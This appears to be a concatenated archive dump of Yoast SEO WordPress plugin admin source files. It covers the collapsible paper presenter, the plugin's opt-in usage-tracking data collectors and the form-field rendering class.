WPSEO_Bulk_List_Table::column_attributes. Alexander. // The output of WPSEO_Bulk_List_Table::parse_meta_data_field is properly escaped. // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped echo $this->parse_meta_data_field( $record->ID, $attributes ); break; } } } class-paper-presenter.php000064400000007020147207033440011477 0ustar00 null, 'paper_id_prefix' => 'wpseo-', 'collapsible' => false, 'collapsible_header_class' => '', 'expanded' => false, 'help_text' => '', 'title_after' => '', 'class' => '', 'content' => '', 'view_data' => [], ]; $this->settings = wp_parse_args( $settings, $defaults ); $this->title = $title; $this->view_file = $view_file; } /** * Renders the collapsible paper and returns it as a string. * * @return string The rendered paper. */ public function get_output() { $view_variables = $this->get_view_variables(); extract( $view_variables, EXTR_SKIP ); $content = $this->settings['content']; if ( $this->view_file !== null ) { ob_start(); require $this->view_file; $content = ob_get_clean(); } ob_start(); require WPSEO_PATH . 'admin/views/paper-collapsible.php'; $rendered_output = ob_get_clean(); return $rendered_output; } /** * Retrieves the view variables. * * @return array The view variables. */ private function get_view_variables() { if ( $this->settings['help_text'] instanceof WPSEO_Admin_Help_Panel === false ) { $this->settings['help_text'] = new WPSEO_Admin_Help_Panel( '', '', '' ); } $view_variables = [ 'class' => $this->settings['class'], 'collapsible' => $this->settings['collapsible'], 'collapsible_config' => $this->collapsible_config(), 'collapsible_header_class' => $this->settings['collapsible_header_class'], 'title_after' => $this->settings['title_after'], 'help_text' => $this->settings['help_text'], 'view_file' => $this->view_file, 'title' => $this->title, 'paper_id' => $this->settings['paper_id'], 'paper_id_prefix' => $this->settings['paper_id_prefix'], 'yform' => Yoast_Form::get_instance(), ]; return array_merge( $this->settings['view_data'], $view_variables ); } /** * Retrieves the collapsible config based on the settings. * * @return array The config. */ protected function collapsible_config() { if ( empty( $this->settings['collapsible'] ) ) { return [ 'toggle_icon' => '', 'class' => '', 'expanded' => '', ]; } if ( ! empty( $this->settings['expanded'] ) ) { return [ 'toggle_icon' => 'dashicons-arrow-up-alt2', 'class' => 'toggleable-container', 'expanded' => 'true', ]; } return [ 'toggle_icon' => 'dashicons-arrow-down-alt2', 'class' => 'toggleable-container toggleable-container-hidden', 'expanded' => 'false', ]; } } tracking/class-tracking-server-data.php000064400000003757147207033440014217 0ustar00 $this->get_server_data(), ]; } /** * Returns the values with server details. * * @return array Array with the value. */ protected function get_server_data() { $server_data = []; // Validate if the server address is a valid IP-address. $ipaddress = isset( $_SERVER['SERVER_ADDR'] ) ? filter_var( wp_unslash( $_SERVER['SERVER_ADDR'] ), FILTER_VALIDATE_IP ) : ''; if ( $ipaddress ) { $server_data['ip'] = $ipaddress; $server_data['Hostname'] = gethostbyaddr( $ipaddress ); } $server_data['os'] = function_exists( 'php_uname' ) ? php_uname() : PHP_OS; $server_data['PhpVersion'] = PHP_VERSION; $server_data['CurlVersion'] = $this->get_curl_info(); $server_data['PhpExtensions'] = $this->get_php_extensions(); return $server_data; } /** * Returns details about the curl version. * * @return array|null The curl info. Or null when curl isn't available.. */ protected function get_curl_info() { if ( ! function_exists( 'curl_version' ) ) { return null; } $curl = curl_version(); $ssl_support = true; if ( ! $curl['features'] && CURL_VERSION_SSL ) { $ssl_support = false; } return [ 'version' => $curl['version'], 'sslSupport' => $ssl_support, ]; } /** * Returns a list with php extensions. * * @return array Returns the state of the php extensions. */ protected function get_php_extensions() { return [ 'imagick' => extension_loaded( 'imagick' ), 'filter' => extension_loaded( 'filter' ), 'bcmath' => extension_loaded( 'bcmath' ), 'pcre' => extension_loaded( 'pcre' ), 'xml' => extension_loaded( 'xml' ), 'pdo_mysql' => extension_loaded( 'pdo_mysql' ), ]; } } tracking/class-tracking-plugin-data.php000064400000004042147207033440014173 0ustar00 $this->get_plugin_data(), ]; } /** * Returns all plugins. * * @return array The formatted plugins. */ protected function get_plugin_data() { if ( ! function_exists( 'get_plugin_data' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } $plugins = wp_get_active_and_valid_plugins(); $plugins = array_map( 'get_plugin_data', $plugins ); $this->set_auto_update_plugin_list(); $plugins = array_map( [ $this, 'format_plugin' ], $plugins ); $plugin_data = []; foreach ( $plugins as $plugin ) { $plugin_key = sanitize_title( $plugin['name'] ); $plugin_data[ $plugin_key ] = $plugin; } return $plugin_data; } /** * Sets all auto updating plugin data so it can be used in the tracking list. * * @return void */ public function set_auto_update_plugin_list() { $auto_update_plugins = []; $auto_update_plugin_files = get_option( 'auto_update_plugins' ); if ( $auto_update_plugin_files ) { foreach ( $auto_update_plugin_files as $auto_update_plugin ) { $data = get_plugin_data( WP_PLUGIN_DIR . DIRECTORY_SEPARATOR . $auto_update_plugin ); $auto_update_plugins[ $data['Name'] ] = $data; } } $this->auto_update_plugin_list = $auto_update_plugins; } /** * Formats the plugin array. * * @param array $plugin The plugin details. * * @return array The formatted array. */ protected function format_plugin( array $plugin ) { return [ 'name' => $plugin['Name'], 'version' => $plugin['Version'], 'auto_updating' => array_key_exists( $plugin['Name'], $this->auto_update_plugin_list ), ]; } } tracking/class-tracking.php000064400000015547147207033440012004 0ustar00tracking_enabled() ) { return; } $this->endpoint = $endpoint; $this->threshold = $threshold; $this->current_time = time(); } /** * Registers all hooks to WordPress. * * @return void */ public function register_hooks() { if ( ! $this->tracking_enabled() ) { return; } // Send tracking data on `admin_init`. add_action( 'admin_init', [ $this, 'send' ], 1 ); // Add an action hook that will be triggered at the specified time by `wp_schedule_single_event()`. add_action( 'wpseo_send_tracking_data_after_core_update', [ $this, 'send' ] ); // Call `wp_schedule_single_event()` after a WordPress core update. add_action( 'upgrader_process_complete', [ $this, 'schedule_tracking_data_sending' ], 10, 2 ); } /** * Schedules a new sending of the tracking data after a WordPress core update. * * @param bool|WP_Upgrader $upgrader Optional. WP_Upgrader instance or false. * Depending on context, it might be a Theme_Upgrader, * Plugin_Upgrader, Core_Upgrade, or Language_Pack_Upgrader. * instance. Default false. * @param array $data Array of update data. * * @return void */ public function schedule_tracking_data_sending( $upgrader = false, $data = [] ) { // Return if it's not a WordPress core update. if ( ! $upgrader || ! isset( $data['type'] ) || $data['type'] !== 'core' ) { return; } /* * To uniquely identify the scheduled cron event, `wp_next_scheduled()` * needs to receive the same arguments as those used when originally * scheduling the event otherwise it will always return false. */ if ( ! wp_next_scheduled( 'wpseo_send_tracking_data_after_core_update', [ true ] ) ) { /* * Schedule sending of data tracking 6 hours after a WordPress core * update. Pass a `true` parameter for the callback `$force` argument. */ wp_schedule_single_event( ( time() + ( HOUR_IN_SECONDS * 6 ) ), 'wpseo_send_tracking_data_after_core_update', [ true ] ); } } /** * Sends the tracking data. * * @param bool $force Whether to send the tracking data ignoring the two * weeks time threshold. Default false. * * @return void */ public function send( $force = false ) { if ( ! $this->should_send_tracking( $force ) ) { return; } // Set a 'content-type' header of 'application/json'. $tracking_request_args = [ 'headers' => [ 'content-type:' => 'application/json', ], ]; $collector = $this->get_collector(); $request = new WPSEO_Remote_Request( $this->endpoint, $tracking_request_args ); $request->set_body( $collector->get_as_json() ); $request->send(); update_option( $this->option_name, $this->current_time, 'yes' ); } /** * Determines whether to send the tracking data. * * Returns false if tracking is disabled or the current page is one of the * admin plugins pages. Returns true when there's no tracking data stored or * the data was sent more than two weeks ago. The two weeks interval is set * when instantiating the class. * * @param bool $ignore_time_treshhold Whether to send the tracking data ignoring * the two weeks time treshhold. Default false. * * @return bool True when tracking data should be sent. */ protected function should_send_tracking( $ignore_time_treshhold = false ) { global $pagenow; // Only send tracking on the main site of a multi-site instance. This returns true on non-multisite installs. if ( is_network_admin() || ! is_main_site() ) { return false; } // Because we don't want to possibly block plugin actions with our routines. if ( in_array( $pagenow, [ 'plugins.php', 'plugin-install.php', 'plugin-editor.php' ], true ) ) { return false; } $last_time = get_option( $this->option_name ); // When tracking data haven't been sent yet or when sending data is forced. if ( ! $last_time || $ignore_time_treshhold ) { return true; } return $this->exceeds_treshhold( $this->current_time - $last_time ); } /** * Checks if the given amount of seconds exceeds the set threshold. * * @param int $seconds The amount of seconds to check. * * @return bool True when seconds is bigger than threshold. */ protected function exceeds_treshhold( $seconds ) { return ( $seconds > $this->threshold ); } /** * Returns the collector for collecting the data. * * @return WPSEO_Collector The instance of the collector. */ public function get_collector() { $collector = new WPSEO_Collector(); $collector->add_collection( new WPSEO_Tracking_Default_Data() ); $collector->add_collection( new WPSEO_Tracking_Server_Data() ); $collector->add_collection( new WPSEO_Tracking_Theme_Data() ); $collector->add_collection( new WPSEO_Tracking_Plugin_Data() ); $collector->add_collection( new WPSEO_Tracking_Settings_Data() ); $collector->add_collection( new WPSEO_Tracking_Addon_Data() ); $collector->add_collection( YoastSEO()->classes->get( Missing_Indexables_Collector::class ) ); $collector->add_collection( YoastSEO()->classes->get( To_Be_Cleaned_Indexables_Collector::class ) ); return $collector; } /** * See if we should run tracking at all. * * @return bool True when we can track, false when we can't. */ private function tracking_enabled() { // Check if we're allowing tracking. $tracking = WPSEO_Options::get( 'tracking' ); if ( $tracking === false ) { return false; } // Save this state. if ( $tracking === null ) { /** * Filter: 'wpseo_enable_tracking' - Enables the data tracking of Yoast SEO Premium and add-ons. * * @param string $is_enabled The enabled state. Default is false. */ $tracking = apply_filters( 'wpseo_enable_tracking', false ); WPSEO_Options::set( 'tracking', $tracking ); } if ( $tracking === false ) { return false; } if ( ! YoastSEO()->helpers->environment->is_production_mode() ) { return false; } return true; } } tracking/class-tracking-addon-data.php000064400000010170147207033440013761 0ustar00is_installed( WPSEO_Addon_Manager::LOCAL_SLUG ) ) { $addon_settings = $this->get_local_addon_settings( $addon_settings, 'wpseo_local', WPSEO_Addon_Manager::LOCAL_SLUG, $this->local_include_list ); } if ( $addon_manager->is_installed( WPSEO_Addon_Manager::WOOCOMMERCE_SLUG ) ) { $addon_settings = $this->get_addon_settings( $addon_settings, 'wpseo_woo', WPSEO_Addon_Manager::WOOCOMMERCE_SLUG, $this->woo_include_list ); } if ( $addon_manager->is_installed( WPSEO_Addon_Manager::NEWS_SLUG ) ) { $addon_settings = $this->get_addon_settings( $addon_settings, 'wpseo_news', WPSEO_Addon_Manager::NEWS_SLUG, $this->news_include_list ); } if ( $addon_manager->is_installed( WPSEO_Addon_Manager::VIDEO_SLUG ) ) { $addon_settings = $this->get_addon_settings( $addon_settings, 'wpseo_video', WPSEO_Addon_Manager::VIDEO_SLUG, $this->video_include_list ); } return $addon_settings; } /** * Gets the tracked options from the addon * * @param array $addon_settings The current list of addon settings. * @param string $source_name The option key of the addon. * @param string $slug The addon slug. * @param array $option_include_list All the options to be included in tracking. * * @return array */ public function get_addon_settings( array $addon_settings, $source_name, $slug, $option_include_list ) { $source_options = get_option( $source_name, [] ); if ( ! is_array( $source_options ) || empty( $source_options ) ) { return $addon_settings; } $addon_settings[ $slug ] = array_intersect_key( $source_options, array_flip( $option_include_list ) ); return $addon_settings; } /** * Filter business_type in local addon settings. * * Remove the business_type setting when 'multiple_locations_shared_business_info' setting is turned off. * * @param array $addon_settings The current list of addon settings. * @param string $source_name The option key of the addon. * @param string $slug The addon slug. * @param array $option_include_list All the options to be included in tracking. * * @return array */ public function get_local_addon_settings( array $addon_settings, $source_name, $slug, $option_include_list ) { $source_options = get_option( $source_name, [] ); if ( ! is_array( $source_options ) || empty( $source_options ) ) { return $addon_settings; } $addon_settings[ $slug ] = array_intersect_key( $source_options, array_flip( $option_include_list ) ); if ( array_key_exists( 'use_multiple_locations', $source_options ) && array_key_exists( 'business_type', $addon_settings[ $slug ] ) && $source_options['use_multiple_locations'] === 'on' && $source_options['multiple_locations_shared_business_info'] === 'off' ) { $addon_settings[ $slug ]['business_type'] = 'multiple_locations'; } if ( ! ( new WooCommerce_Conditional() )->is_met() ) { unset( $addon_settings[ $slug ]['woocommerce_local_pickup_setting'] ); } return $addon_settings; } } tracking/class-tracking-default-data.php000064400000002644147207033440014327 0ustar00 get_option( 'blogname' ), '@timestamp' => (int) gmdate( 'Uv' ), 'wpVersion' => $this->get_wordpress_version(), 'homeURL' => home_url(), 'adminURL' => admin_url(), 'isMultisite' => is_multisite(), 'siteLanguage' => get_bloginfo( 'language' ), 'gmt_offset' => get_option( 'gmt_offset' ), 'timezoneString' => get_option( 'timezone_string' ), 'migrationStatus' => get_option( 'yoast_migrations_free' ), 'countPosts' => $this->get_post_count( 'post' ), 'countPages' => $this->get_post_count( 'page' ), ]; } /** * Returns the number of posts of a certain type. * * @param string $post_type The post type return the count for. * * @return int The count for this post type. */ protected function get_post_count( $post_type ) { $count = wp_count_posts( $post_type ); if ( isset( $count->publish ) ) { return $count->publish; } return 0; } /** * Returns the WordPress version. * * @return string The version. */ protected function get_wordpress_version() { global $wp_version; return $wp_version; } } tracking/class-tracking-settings-data.php000064400000015226147207033440014543 0ustar00include_list = apply_filters( 'wpseo_tracking_settings_include_list', $this->include_list ); $options = WPSEO_Options::get_all(); // Returns the settings of which the keys intersect with the values of the include list. $options = array_intersect_key( $options, array_flip( $this->include_list ) ); return [ 'settings' => $this->anonymize_settings( $options ), ]; } /** * Anonimizes the WPSEO_Options array by replacing all $anonymous_settings values to 'used'. * * @param array $settings The settings. * * @return array The anonymized settings. */ private function anonymize_settings( $settings ) { foreach ( $this->anonymous_settings as $setting ) { if ( ! empty( $settings[ $setting ] ) ) { $settings[ $setting ] = 'used'; } } return $settings; } } tracking/class-tracking-theme-data.php000064400000002245147207033440014002 0ustar00 [ 'name' => $theme->get( 'Name' ), 'url' => $theme->get( 'ThemeURI' ), 'version' => $theme->get( 'Version' ), 'author' => [ 'name' => $theme->get( 'Author' ), 'url' => $theme->get( 'AuthorURI' ), ], 'parentTheme' => $this->get_parent_theme( $theme ), 'blockTemplateSupport' => current_theme_supports( 'block-templates' ), 'isBlockTheme' => function_exists( 'wp_is_block_theme' ) && wp_is_block_theme(), ], ]; } /** * Returns the name of the parent theme. * * @param WP_Theme $theme The theme object. * * @return string|null The name of the parent theme or null. */ private function get_parent_theme( WP_Theme $theme ) { if ( is_child_theme() ) { return $theme->get( 'Template' ); } return null; } } class-yoast-form.php000064400000107357147207033440010501 0ustar00

    meets_requirements() ) { $action_url = network_admin_url( 'settings.php' ); $hidden_fields_cb = [ $network_admin, 'settings_fields' ]; } else { $action_url = admin_url( 'options.php' ); $hidden_fields_cb = 'settings_fields'; } echo '
    '; call_user_func( $hidden_fields_cb, $option_long_name ); } $this->set_option( $option ); } /** * Set the option used in output for form elements. * * @since 2.0 * * @param string $option_name Option key. * * @return void */ public function set_option( $option_name ) { $this->option_name = $option_name; $this->option_instance = WPSEO_Options::get_option_instance( $option_name ); if ( ! $this->option_instance ) { $this->option_instance = null; } } /** * Generates the footer for admin pages. * * @since 2.0 * * @param bool $submit Whether or not a submit button and form end tag should be shown. * @param bool $show_sidebar Whether or not to show the banner sidebar - used by premium plugins to disable it. * * @return void */ public function admin_footer( $submit = true, $show_sidebar = true ) { if ( $submit ) { $settings_changed_listener = new WPSEO_Admin_Settings_Changed_Listener(); echo '
    '; echo '
    '; submit_button( __( 'Save changes', 'wordpress-seo' ) ); $settings_changed_listener->show_success_message(); echo '
    '; echo ''; echo '
    '; echo '
    '; } /** * Apply general admin_footer hooks. */ do_action( 'wpseo_admin_footer', $this ); /** * Run possibly set actions to add for example an i18n box. */ do_action( 'wpseo_admin_promo_footer' ); echo '
    '; if ( $show_sidebar ) { $this->admin_sidebar(); } echo '
    '; do_action( 'wpseo_admin_below_content', $this ); echo '
    '; } /** * Generates the sidebar for admin pages. * * @since 2.0 * * @return void */ public function admin_sidebar() { // No banners in Premium. $addon_manager = new WPSEO_Addon_Manager(); if ( YoastSEO()->helpers->product->is_premium() && $addon_manager->has_valid_subscription( WPSEO_Addon_Manager::PREMIUM_SLUG ) ) { return; } $sidebar_presenter = new Sidebar_Presenter(); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output escaped in presenter. echo $sidebar_presenter->present(); } /** * Output a label element. * * @since 2.0 * * @param string $text Label text string, which can contain escaped html. * @param array $attr HTML attributes set. * * @return void */ public function label( $text, $attr ) { $defaults = [ 'class' => 'checkbox', 'close' => true, 'for' => '', 'aria_label' => '', ]; $attr = wp_parse_args( $attr, $defaults ); $aria_label = ''; if ( $attr['aria_label'] !== '' ) { $aria_label = ' aria-label="' . esc_attr( $attr['aria_label'] ) . '"'; } // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- output escaped before. Specifically, the $text variable can contain escaped html. echo "'; } } /** * Output a legend element. * * @since 3.4 * * @param string $text Legend text string. * @param array $attr HTML attributes set. * * @return void */ public function legend( $text, $attr ) { $defaults = [ 'id' => '', 'class' => '', ]; $attr = wp_parse_args( $attr, $defaults ); $id = ( $attr['id'] === '' ) ? '' : ' id="' . esc_attr( $attr['id'] ) . '"'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- output escaped before. echo '' . $text . ''; } /** * Create a Checkbox input field. * * @since 2.0 * * @param string $variable The variable within the option to create the checkbox for. * @param string $label The label to show for the variable. * @param bool $label_left Whether the label should be left (true) or right (false). * @param array $attr Extra attributes to add to the checkbox. * * @return void */ public function checkbox( $variable, $label, $label_left = false, $attr = [] ) { $val = $this->get_field_value( $variable, false ); $defaults = [ 'disabled' => false, ]; $attr = wp_parse_args( $attr, $defaults ); if ( $val === true ) { $val = 'on'; } $class = ''; if ( $label_left !== false ) { $this->label( $label_left, [ 'for' => $variable ] ); } else { $class = 'double'; } $disabled_attribute = $this->get_disabled_attribute( $variable, $attr ); // phpcs:ignore WordPress.Security.EscapeOutput -- Reason: $disabled_attribute output is hardcoded and all other output is properly escaped. echo ''; if ( ! empty( $label ) ) { $this->label( $label, [ 'for' => $variable ] ); } echo '
    '; } /** * Creates a Checkbox input field list. * * @since 12.8 * * @param string $variable The variables within the option to create the checkbox list for. * @param string $labels The labels to show for the variable. * @param array $attr Extra attributes to add to the checkbox list. * * @return void */ public function checkbox_list( $variable, $labels, $attr = [] ) { $defaults = [ 'disabled' => false, ]; $attr = wp_parse_args( $attr, $defaults ); $values = $this->get_field_value( $variable, [] ); foreach ( $labels as $name => $label ) { printf( '', esc_attr( $variable . '-' . $name ), esc_attr( $this->option_name . '[' . $variable . '][' . $name . ']' ), checked( ! empty( $values[ $name ] ), true, false ), esc_attr( $name ), disabled( ( isset( $attr['disabled'] ) && $attr['disabled'] ), true, false ) ); printf( '', esc_attr( $variable . '-' . $name ), // #1 esc_html( $label ) ); echo '
    '; } } /** * Create a light switch input field using a single checkbox. * * @since 3.1 * * @param string $variable The variable within the option to create the checkbox for. * @param string $label The visual label text for the toggle. * @param array $buttons Array of two visual labels for the buttons (defaults Disabled/Enabled). * @param bool $reverse Reverse order of buttons (default true). * @param string $help Inline Help that will be printed out before the toggle. * @param bool $strong Whether the visual label is displayed in strong text. Default is false. * Starting from Yoast SEO 16.5, the visual label is forced to bold via CSS. * @param array $attr Extra attributes to add to the light switch. * * @return void */ public function light_switch( $variable, $label, $buttons = [], $reverse = true, $help = '', $strong = false, $attr = [] ) { $val = $this->get_field_value( $variable, false ); $defaults = [ 'disabled' => false, ]; $attr = wp_parse_args( $attr, $defaults ); if ( $val === true ) { $val = 'on'; } $disabled_attribute = $this->get_disabled_attribute( $variable, $attr ); $output = new Light_Switch_Presenter( $variable, $label, $buttons, $this->option_name . '[' . $variable . ']', $val, $reverse, $help, $strong, $disabled_attribute ); // phpcs:ignore WordPress.Security.EscapeOutput -- Reason: All output is properly escaped or hardcoded in the presenter. echo $output; } /** * Create a Text input field. * * @since 2.0 * @since 2.1 Introduced the `$attr` parameter. * * @param string $variable The variable within the option to create the text input field for. * @param string $label The label to show for the variable. * @param array|string $attr Extra attributes to add to the input field. Can be class, disabled, autocomplete. * * @return void */ public function textinput( $variable, $label, $attr = [] ) { $type = 'text'; if ( ! is_array( $attr ) ) { $attr = [ 'class' => $attr, 'disabled' => false, ]; } $defaults = [ 'placeholder' => '', 'class' => '', ]; $attr = wp_parse_args( $attr, $defaults ); $val = $this->get_field_value( $variable, '' ); if ( isset( $attr['type'] ) && $attr['type'] === 'url' ) { $val = urldecode( $val ); $type = 'url'; } $attributes = isset( $attr['autocomplete'] ) ? ' autocomplete="' . esc_attr( $attr['autocomplete'] ) . '"' : ''; $this->label( $label, [ 'for' => $variable, 'class' => 'textinput', ] ); $aria_attributes = Yoast_Input_Validation::get_the_aria_invalid_attribute( $variable ); $aria_attributes .= Yoast_Input_Validation::get_the_aria_describedby_attribute( $variable ); $disabled_attribute = $this->get_disabled_attribute( $variable, $attr ); // phpcs:ignore WordPress.Security.EscapeOutput -- Reason: $disabled_attribute output is hardcoded and all other output is properly escaped. echo '', '
    '; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output escaped in getter. echo Yoast_Input_Validation::get_the_error_description( $variable ); } /** * Create a Number input field. * * @param string $variable The variable within the option to create the text input field for. * @param string $label The label to show for the variable. * @param array|string $attr Extra attributes to add to the input field. Can be class, disabled, autocomplete. * * @return void */ public function number( $variable, $label, $attr = [] ) { $type = 'number'; $defaults = [ 'placeholder' => '', 'class' => 'number', 'disabled' => false, 'min' => 0, 'max' => 100, ]; $attr = wp_parse_args( $attr, $defaults ); $val = $this->get_field_value( $variable, 0 ); $this->label( $label, [ 'for' => $variable, 'class' => 'textinput ' . $attr['class'], ] ); $aria_attributes = Yoast_Input_Validation::get_the_aria_invalid_attribute( $variable ); $aria_attributes .= Yoast_Input_Validation::get_the_aria_describedby_attribute( $variable ); $disabled_attribute = $this->get_disabled_attribute( $variable, $attr ); // phpcs:ignore WordPress.Security.EscapeOutput -- Reason: $disabled_attribute output is hardcoded and all other output is properly escaped. echo '', '
    '; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output escaped in getter. echo Yoast_Input_Validation::get_the_error_description( $variable ); } /** * Creates a text input field with with the ability to add content after the label. * * @param string $variable The variable within the option to create the text input field for. * @param string $label The label to show for the variable. * @param array $attr Extra attributes to add to the input field. * * @return void */ public function textinput_extra_content( $variable, $label, $attr = [] ) { $type = 'text'; $defaults = [ 'class' => 'yoast-field-group__inputfield', 'disabled' => false, ]; $attr = wp_parse_args( $attr, $defaults ); $val = $this->get_field_value( $variable, '' ); if ( isset( $attr['type'] ) && $attr['type'] === 'url' ) { $val = urldecode( $val ); $type = 'url'; } echo '
    '; $this->label( $label, [ 'for' => $variable, 'class' => $attr['class'] . '--label', ] ); if ( isset( $attr['extra_content'] ) ) { // phpcs:ignore WordPress.Security.EscapeOutput -- Reason: may contain HTML that should not be escaped. echo $attr['extra_content']; } echo '
    '; $aria_attributes = Yoast_Input_Validation::get_the_aria_invalid_attribute( $variable ); $aria_attributes .= Yoast_Input_Validation::get_the_aria_describedby_attribute( $variable ); // phpcs:disable WordPress.Security.EscapeOutput -- Reason: output is properly escaped or hardcoded. printf( '', $type, esc_attr( $this->option_name . '[' . $variable . ']' ), esc_attr( $variable ), esc_attr( $attr['class'] ), isset( $attr['placeholder'] ) ? ' placeholder="' . esc_attr( $attr['placeholder'] ) . '"' : '', isset( $attr['autocomplete'] ) ? ' autocomplete="' . esc_attr( $attr['autocomplete'] ) . '"' : '', $aria_attributes, esc_attr( $val ), $this->get_disabled_attribute( $variable, $attr ) ); // phpcs:enable // phpcs:ignore WordPress.Security.EscapeOutput -- Reason: output is properly escaped. echo Yoast_Input_Validation::get_the_error_description( $variable ); } /** * Create a textarea. * * @since 2.0 * * @param string $variable The variable within the option to create the textarea for. * @param string $label The label to show for the variable. * @param string|array $attr The CSS class or an array of attributes to assign to the textarea. * * @return void */ public function textarea( $variable, $label, $attr = [] ) { if ( ! is_array( $attr ) ) { $attr = [ 'class' => $attr, ]; } $defaults = [ 'cols' => '', 'rows' => '', 'class' => '', 'disabled' => false, ]; $attr = wp_parse_args( $attr, $defaults ); $val = $this->get_field_value( $variable, '' ); $this->label( $label, [ 'for' => $variable, 'class' => 'textinput', ] ); $disabled_attribute = $this->get_disabled_attribute( $variable, $attr ); // phpcs:ignore WordPress.Security.EscapeOutput -- Reason: $disabled_attribute output is hardcoded and all other output is properly escaped. echo '
    '; } /** * Create a hidden input field. * * @since 2.0 * * @param string $variable The variable within the option to create the hidden input for. * @param string $id The ID of the element. * @param mixed $val Optional. The value to set in the input field. Otherwise the value from the options will be used. * * @return void */ public function hidden( $variable, $id = '', $val = null ) { if ( is_null( $val ) ) { $val = $this->get_field_value( $variable, '' ); } if ( is_bool( $val ) ) { $val = ( $val === true ) ? 'true' : 'false'; } if ( $id === '' ) { $id = 'hidden_' . $variable; } echo ''; } /** * Create a Select Box. * * @since 2.0 * * @param string $variable The variable within the option to create the select for. * @param string $label The label to show for the variable. * @param array $select_options The select options to choose from. * @param string $styled The select style. Use 'styled' to get a styled select. Default 'unstyled'. * @param bool $show_label Whether or not to show the label, if not, it will be applied as an aria-label. * @param array $attr Extra attributes to add to the select. * @param string $help Optional. Inline Help HTML that will be printed after the label. Default is empty. * * @return void */ public function select( $variable, $label, array $select_options, $styled = 'unstyled', $show_label = true, $attr = [], $help = '' ) { if ( empty( $select_options ) ) { return; } $defaults = [ 'disabled' => false, ]; $attr = wp_parse_args( $attr, $defaults ); if ( $show_label ) { $this->label( $label, [ 'for' => $variable, 'class' => 'select', ] ); echo $help; // phpcs:ignore WordPress.Security.EscapeOutput -- Reason: The help contains HTML. } $select_name = esc_attr( $this->option_name ) . '[' . esc_attr( $variable ) . ']'; $active_option = $this->get_field_value( $variable, '' ); $wrapper_start_tag = ''; $wrapper_end_tag = ''; $select = new Yoast_Input_Select( $variable, $select_name, $select_options, $active_option ); $select->add_attribute( 'class', 'select' ); if ( $this->is_control_disabled( $variable ) || ( isset( $attr['disabled'] ) && $attr['disabled'] ) ) { $select->add_attribute( 'disabled', 'disabled' ); } if ( ! $show_label ) { $select->add_attribute( 'aria-label', $label ); } if ( $styled === 'styled' ) { $wrapper_start_tag = ''; $wrapper_end_tag = ''; } // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- output escaped before. echo $wrapper_start_tag; $select->output_html(); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- output escaped before. echo $wrapper_end_tag; echo '
    '; } /** * Create a File upload field. * * @since 2.0 * * @param string $variable The variable within the option to create the file upload field for. * @param string $label The label to show for the variable. * @param array $attr Extra attributes to add to the file upload input. * * @return void */ public function file_upload( $variable, $label, $attr = [] ) { $val = $this->get_field_value( $variable, '' ); if ( is_array( $val ) ) { $val = $val['url']; } $defaults = [ 'disabled' => false, ]; $attr = wp_parse_args( $attr, $defaults ); $var_esc = esc_attr( $variable ); $this->label( $label, [ 'for' => $variable, 'class' => 'select', ] ); $disabled_attribute = $this->get_disabled_attribute( $variable, $attr ); // phpcs:ignore WordPress.Security.EscapeOutput -- Reason: $disabled_attribute output is hardcoded and all other output is properly escaped. echo ''; // Need to save separate array items in hidden inputs, because empty file inputs type will be deleted by settings API. if ( ! empty( $val ) ) { $this->hidden( 'file', $this->option_name . '_file' ); $this->hidden( 'url', $this->option_name . '_url' ); $this->hidden( 'type', $this->option_name . '_type' ); } echo '
    '; } /** * Media input. * * @since 2.0 * @deprecated 23.5 * @codeCoverageIgnore * * @param string $variable Option name. * @param string $label Label message. * @param array $attr Extra attributes to add to the media input and buttons. * * @return void */ public function media_input( $variable, $label, $attr = [] ) { _deprecated_function( __METHOD__, 'Yoast SEO 23.5' ); $val = $this->get_field_value( $variable, '' ); $id_value = $this->get_field_value( $variable . '_id', '' ); $var_esc = esc_attr( $variable ); $defaults = [ 'disabled' => false, ]; $attr = wp_parse_args( $attr, $defaults ); $this->label( $label, [ 'for' => 'wpseo_' . $variable, 'class' => 'select', ] ); $id_field_id = 'wpseo_' . $var_esc . '_id'; echo ''; echo ' '; echo ''; echo ''; echo '
    '; } /** * Create a Radio input field. * * @since 2.0 * * @param string $variable The variable within the option to create the radio button for. * @param array $values The radio options to choose from. * @param string $legend Optional. The legend to show for the field set, if any. * @param array $legend_attr Optional. The attributes for the legend, if any. * @param array $attr Extra attributes to add to the radio button. * * @return void */ public function radio( $variable, $values, $legend = '', $legend_attr = [], $attr = [] ) { if ( ! is_array( $values ) || $values === [] ) { return; } $val = $this->get_field_value( $variable, false ); $var_esc = esc_attr( $variable ); $defaults = [ 'disabled' => false, ]; $attr = wp_parse_args( $attr, $defaults ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- output escaped before. echo '
    '; if ( is_string( $legend ) && $legend !== '' ) { $legend_defaults = [ 'id' => '', 'class' => 'radiogroup', ]; $legend_attr = wp_parse_args( $legend_attr, $legend_defaults ); $this->legend( $legend, $legend_attr ); } foreach ( $values as $key => $value ) { $label = $value; $aria_label = ''; if ( is_array( $value ) ) { $label = ( $value['label'] ?? '' ); $aria_label = ( $value['aria_label'] ?? '' ); } $key_esc = esc_attr( $key ); $disabled_attribute = $this->get_disabled_attribute( $variable, $attr ); // phpcs:ignore WordPress.Security.EscapeOutput -- Reason: $disabled_attribute output is hardcoded and all other output is properly escaped. echo ''; $this->label( $label, [ 'for' => $var_esc . '-' . $key_esc, 'class' => 'radio', 'aria_label' => $aria_label, ] ); } echo '
